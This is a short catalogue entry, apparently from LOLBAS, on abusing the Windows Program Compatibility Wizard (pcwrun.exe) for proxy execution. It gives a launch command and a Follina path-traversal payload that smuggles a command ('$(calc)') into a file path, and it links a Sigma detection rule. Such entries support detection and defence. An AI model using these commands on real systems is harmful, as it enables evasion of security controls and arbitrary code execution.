Pcwrun.exe

type: OSBinaries

Program Compatibility Wizard

Full path

C:\Windows\System32\pcwrun.exe

Commands

ExecuteUser T1218
Proxy execution of binary
```
Pcwrun.exe {PATH_ABSOLUTE:.exe}
```
Open the target .EXE file with the Program Compatibility Wizard.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute: EXE
ExecuteUser T1202
Proxy execution of binary
```
Pcwrun.exe /../../$(calc).exe
```
Leverage the MSDT follina vulnerability through Pcwrun to execute arbitrary commands and binaries. Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute: EXE

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml

Resources

acknowledgement: Pierre-Alexandre Braeken @pabraeken, Nasreddine Bencherchali @nas_bench